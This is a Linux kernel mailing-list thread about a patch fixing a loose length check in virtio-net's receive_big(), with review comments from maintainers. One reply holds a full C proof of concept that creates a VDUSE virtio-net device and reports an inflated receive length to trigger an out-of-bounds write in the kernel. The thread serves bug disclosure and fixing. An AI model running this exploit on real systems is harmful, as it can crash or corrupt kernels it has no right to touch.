* Re: [PATCH net] virtio-net: fix len check in receive_big()
2026-06-10 22:16 [PATCH net] virtio-net: fix len check in receive_big() Xiang Mei
@ 2026-06-10 22:21 ` Michael S. Tsirkin
2026-06-10 22:43 ` Xiang Mei
2026-06-10 23:35 ` Xiang Mei
2026-06-10 22:39 ` Xiang Mei
2026-06-11 9:48 ` David Laight
2 siblings, 2 replies; 6+ messages in thread
From: Michael S. Tsirkin @ 2026-06-10 22:21 UTC (permalink / raw)
To: Xiang Mei
Cc: jasowang, xuanzhuo, eperezma, andrew+netdev, davem, edumazet,
kuba, pabeni, netdev, virtualization, linux-kernel,
minhquangbui99, bestswngs
On Wed, Jun 10, 2026 at 03:16:06PM -0700, Xiang Mei wrote:
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
Let's instead (or additionally?), bound the frags array index.
Seems more robust.
> ---
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
> --
> 2.43.0
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: [PATCH net] virtio-net: fix len check in receive_big()
2026-06-10 22:16 [PATCH net] virtio-net: fix len check in receive_big() Xiang Mei
2026-06-10 22:21 ` Michael S. Tsirkin
@ 2026-06-10 22:39 ` Xiang Mei
2026-06-11 9:48 ` David Laight
2 siblings, 0 replies; 6+ messages in thread
From: Xiang Mei @ 2026-06-10 22:39 UTC (permalink / raw)
To: mst, jasowang, xuanzhuo, eperezma
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
virtualization, linux-kernel, minhquangbui99, bestswngs
Thanks for your attention to this bug. We'll provide some tips for
reproduction here
1) CONFIGs
```
CONFIG_VDPA=y
CONFIG_VDPA_USER=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VHOST_VDPA=y
CONFIG_IKHEADERS=n
CONFIG_DEBUG_INFO_BTF=n
```
2) PoC
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <poll.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/sockios.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vduse.h>
#include <linux/vdpa.h>
#include <linux/virtio_ids.h>
#include <linux/virtio_config.h>
#include <linux/virtio_net.h>
#include <linux/virtio_ring.h>
#define DEV_NAME "vdusebug"
#define BIT(x) (1ULL << (x))
#define FEATURES (BIT(VIRTIO_F_VERSION_1) | BIT(VIRTIO_F_ACCESS_PLATFORM) | \
BIT(VIRTIO_NET_F_MAC) | BIT(VIRTIO_NET_F_GUEST_TSO4))
#define VQ_NUM 2
#define VQ_SIZE 256
#define die(s) do { perror(s); exit(1); } while (0)
/* ---- minimal generic-netlink: resolve vdpa family, then
VDPA_CMD_DEV_NEW ---- */
struct nlmsg {
struct nlmsghdr nh;
struct genlmsghdr gh;
char buf[1024];
};
static void nla_put(struct nlmsg *m, int type, const void *data, int len)
{
struct nlattr *a = (void *)((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len));
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
memcpy((char *)a + NLA_HDRLEN, data, len);
m->nh.nlmsg_len = NLMSG_ALIGN(m->nh.nlmsg_len) + NLA_ALIGN(NLA_HDRLEN + len);
}
static int nl_send(int sk, struct nlmsg *m, char *rsp, int rsplen)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = m, .iov_len = m->nh.nlmsg_len };
struct msghdr mh = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(sk, &mh, 0) < 0)
return -1;
return recv(sk, rsp, rsplen, 0);
}
static int vdpa_setup(int sk)
{
struct nlmsg m = {0};
char rsp[4096];
int n, famid = -1;
/* resolve VDPA genl family id */
m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(m.gh));
m.nh.nlmsg_type = GENL_ID_CTRL;
m.nh.nlmsg_flags = NLM_F_REQUEST;
m.gh.cmd = CTRL_CMD_GETFAMILY;
m.gh.version = 1;
nla_put(&m, CTRL_ATTR_FAMILY_NAME, VDPA_GENL_NAME, strlen(VDPA_GENL_NAME) + 1);
n = nl_send(sk, &m, rsp, sizeof(rsp));
for (struct nlmsghdr *nh = (void *)rsp; NLMSG_OK(nh, n); nh =
NLMSG_NEXT(nh, n)) {
struct nlattr *a = (void *)((char *)NLMSG_DATA(nh) +
NLMSG_ALIGN(sizeof(struct genlmsghdr)));
int rem = NLMSG_PAYLOAD(nh, sizeof(struct genlmsghdr));
while (rem >= (int)NLA_HDRLEN && a->nla_len >= NLA_HDRLEN && rem >=
a->nla_len) {
if (a->nla_type == CTRL_ATTR_FAMILY_ID)
famid = *(uint16_t *)((char *)a + NLA_HDRLEN);
rem -= NLA_ALIGN(a->nla_len);
a = (void *)((char *)a + NLA_ALIGN(a->nla_len));
}
}
if (famid < 0)
return -1;
/* VDPA_CMD_DEV_NEW name=DEV_NAME mgmtdev=vduse */
memset(&m, 0, sizeof(m));
m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(m.gh));
m.nh.nlmsg_type = famid;
m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
m.gh.cmd = VDPA_CMD_DEV_NEW;
m.gh.version = 1;
nla_put(&m, VDPA_ATTR_DEV_NAME, DEV_NAME, strlen(DEV_NAME) + 1);
nla_put(&m, VDPA_ATTR_MGMTDEV_DEV_NAME, "vduse", 6);
return nl_send(sk, &m, rsp, sizeof(rsp)) > 0 ? 0 : -1;
}
/* ---- VDUSE control message worker + IOTLB mapping ---- */
static volatile int g_driver_ok, g_running = 1;
static void *vduse_worker(void *arg)
{
int fd = (intptr_t)arg;
struct pollfd pfd = { .fd = fd, .events = POLLIN };
while (g_running) {
if (poll(&pfd, 1, 100) <= 0)
continue;
struct vduse_dev_request req = {0};
struct vduse_dev_response resp = {0};
if (read(fd, &req, sizeof(req)) < 0)
continue;
resp.request_id = req.request_id;
resp.result = VDUSE_REQ_RESULT_OK;
if (req.type == VDUSE_GET_VQ_STATE)
resp.vq_state.index = req.vq_state.index;
else if (req.type == VDUSE_SET_STATUS && (req.s.status &
VIRTIO_CONFIG_S_DRIVER_OK))
g_driver_ok = 1;
write(fd, &resp, sizeof(resp));
}
return NULL;
}
/* map one IOVA page into our address space, returning the VA for `iova` */
static void *iova_map(int fd, uint64_t iova, int prot)
{
struct vduse_iotlb_entry e = { .start = iova, .last = iova };
int mfd = ioctl(fd, VDUSE_IOTLB_GET_FD, &e);
if (mfd < 0)
return NULL;
void *p = mmap(0, e.last - e.start + 1, prot, MAP_SHARED, mfd, e.offset);
close(mfd);
if (p == MAP_FAILED)
return NULL;
return (char *)p + (iova - e.start);
}
/* ---- trigger ---- */
static void trigger(int fd)
{
struct vduse_vq_info info = { .index = 0 };
if (ioctl(fd, VDUSE_VQ_GET_INFO, &info) < 0 || !info.ready)
return;
uint32_t num = info.num;
struct vring_desc *desc = iova_map(fd, info.desc_addr, PROT_READ);
struct vring_avail *avail = iova_map(fd, info.driver_addr, PROT_READ);
struct vring_used *used = iova_map(fd, info.device_addr, PROT_READ |
PROT_WRITE);
if (!desc || !avail || !used || used->idx == avail->idx)
return;
/* the driver posted an RX chain; just hand it back an inflated len.
* 73708 is what add_recvbuf_big() advertised; 73728 = (17+1)*4096
* passes the loose check and overruns page_to_skb()'s frag loop. */
uint16_t head = avail->ring[used->idx % num];
used->ring[used->idx % num] = (struct vring_used_elem){ .id = head,
.len = (17 + 1) * 4096 };
__sync_synchronize();
used->idx++;
__sync_synchronize();
uint32_t qidx = 0;
ioctl(fd, VDUSE_VQ_INJECT_IRQ, &qidx);
}
/* bring up every virtio_net iface (the VDUSE one) so the driver fills RX */
static void ifaces_up(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
for (int i = 1; i < 16; i++) {
struct ifreq r = {0};
snprintf(r.ifr_name, IFNAMSIZ, "eth%d", i);
if (ioctl(s, SIOCGIFFLAGS, &r) < 0)
continue;
r.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &r);
}
close(s);
}
int main(void)
{
pthread_t th;
int ctrl = open("/dev/vduse/control", O_RDWR);
if (ctrl < 0)
die("/dev/vduse/control");
uint64_t apiv = 0;
ioctl(ctrl, VDUSE_SET_API_VERSION, &apiv);
struct {
struct vduse_dev_config cfg;
struct virtio_net_config net;
} c = {0};
uint8_t mac[6] = { 0x52, 0x54, 0, 0x12, 0x34, 0x56 };
memcpy(c.net.mac, mac, 6);
strncpy(c.cfg.name, DEV_NAME, VDUSE_NAME_MAX - 1);
c.cfg.device_id = VIRTIO_ID_NET;
c.cfg.features = FEATURES;
c.cfg.vq_num = VQ_NUM;
c.cfg.vq_align = 4096;
c.cfg.config_size = sizeof(struct virtio_net_config);
if (ioctl(ctrl, VDUSE_CREATE_DEV, &c) < 0)
die("VDUSE_CREATE_DEV");
int fd = open("/dev/vduse/" DEV_NAME, O_RDWR | O_NONBLOCK);
if (fd < 0)
die("open vduse dev");
for (uint32_t i = 0; i < VQ_NUM; i++) {
struct vduse_vq_config vc = { .index = i, .max_size = VQ_SIZE };
ioctl(fd, VDUSE_VQ_SETUP, &vc);
}
/* worker must run before we attach: the bus probe blocks on its replies */
pthread_create(&th, NULL, vduse_worker, (void *)(intptr_t)fd);
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
bind(sk, (void *)&sa, sizeof(sa));
if (vdpa_setup(sk) < 0)
die("vdpa setup");
for (int i = 0; i < 50 && !g_driver_ok; i++)
usleep(100000);
ifaces_up();
for (int i = 0; i < 30; i++)
usleep(100000);
for (int i = 0; i < 10; i++) {
trigger(fd);
usleep(200000);
}
g_running = 0;
pthread_join(th, NULL);
sleep(2);
return 0;
}
```
Let me know if you need more information.
Thanks,
Xiang
On Wed, Jun 10, 2026 at 3:16 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
>
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: [PATCH net] virtio-net: fix len check in receive_big()
2026-06-10 22:16 [PATCH net] virtio-net: fix len check in receive_big() Xiang Mei
2026-06-10 22:21 ` Michael S. Tsirkin
2026-06-10 22:39 ` Xiang Mei
@ 2026-06-11 9:48 ` David Laight
2 siblings, 0 replies; 6+ messages in thread
From: David Laight @ 2026-06-11 9:48 UTC (permalink / raw)
To: Xiang Mei
Cc: mst, jasowang, xuanzhuo, eperezma, andrew+netdev, davem, edumazet,
kuba, pabeni, netdev, virtualization, linux-kernel,
minhquangbui99, bestswngs
On Wed, 10 Jun 2026 15:16:06 -0700
Xiang Mei <xmei5@asu.edu> wrote:
> receive_big() bounds the device-announced length by
> (big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:
> add_recvbuf_big() sets sg[1] to start at offset
> sizeof(struct padded_vnet_hdr) into the first page, so the chain
> actually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +
> big_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the
> check allows for the common hdr_len == 12 case.
>
> A malicious virtio backend can announce a len in that gap. page_to_skb()
> then walks one frag past the page chain, storing a NULL page->private
> into skb_shinfo()->frags[MAX_SKB_FRAGS], which is both an out-of-bounds
> write past the static frag array and a NULL frag handed up the rx path.
>
> Bound len by the size add_recvbuf_big() actually advertised.
>
> Fixes: 0c716703965f ("virtio-net: fix received length check in big packets")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> drivers/net/virtio_net.c | 8 +++++---
> 1 file changed, 5 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
> index f4adcfee7a80..afe73eda1491 100644
> --- a/drivers/net/virtio_net.c
> +++ b/drivers/net/virtio_net.c
> @@ -1999,15 +1999,17 @@ static struct sk_buff *receive_big(struct net_device *dev,
> struct virtnet_rq_stats *stats)
> {
> struct page *page = buf;
> + unsigned long max_len;
> struct sk_buff *skb;
>
> /* Make sure that len does not exceed the size allocated in
> * add_recvbuf_big.
> */
> - if (unlikely(len > (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE)) {
> + max_len = vi->hdr_len + (PAGE_SIZE - sizeof(struct padded_vnet_hdr)) +
> + vi->big_packets_num_skbfrags * PAGE_SIZE;
That looks like a constant (for the vi).
Probably worth saving rather than recalculating all the time.
-- David
> + if (unlikely(len > max_len)) {
> pr_debug("%s: rx error: len %u exceeds allocated size %lu\n",
> - dev->name, len,
> - (vi->big_packets_num_skbfrags + 1) * PAGE_SIZE);
> + dev->name, len, max_len);
> goto err;
> }
>
^ permalink raw reply [flat|nested] 6+ messages in thread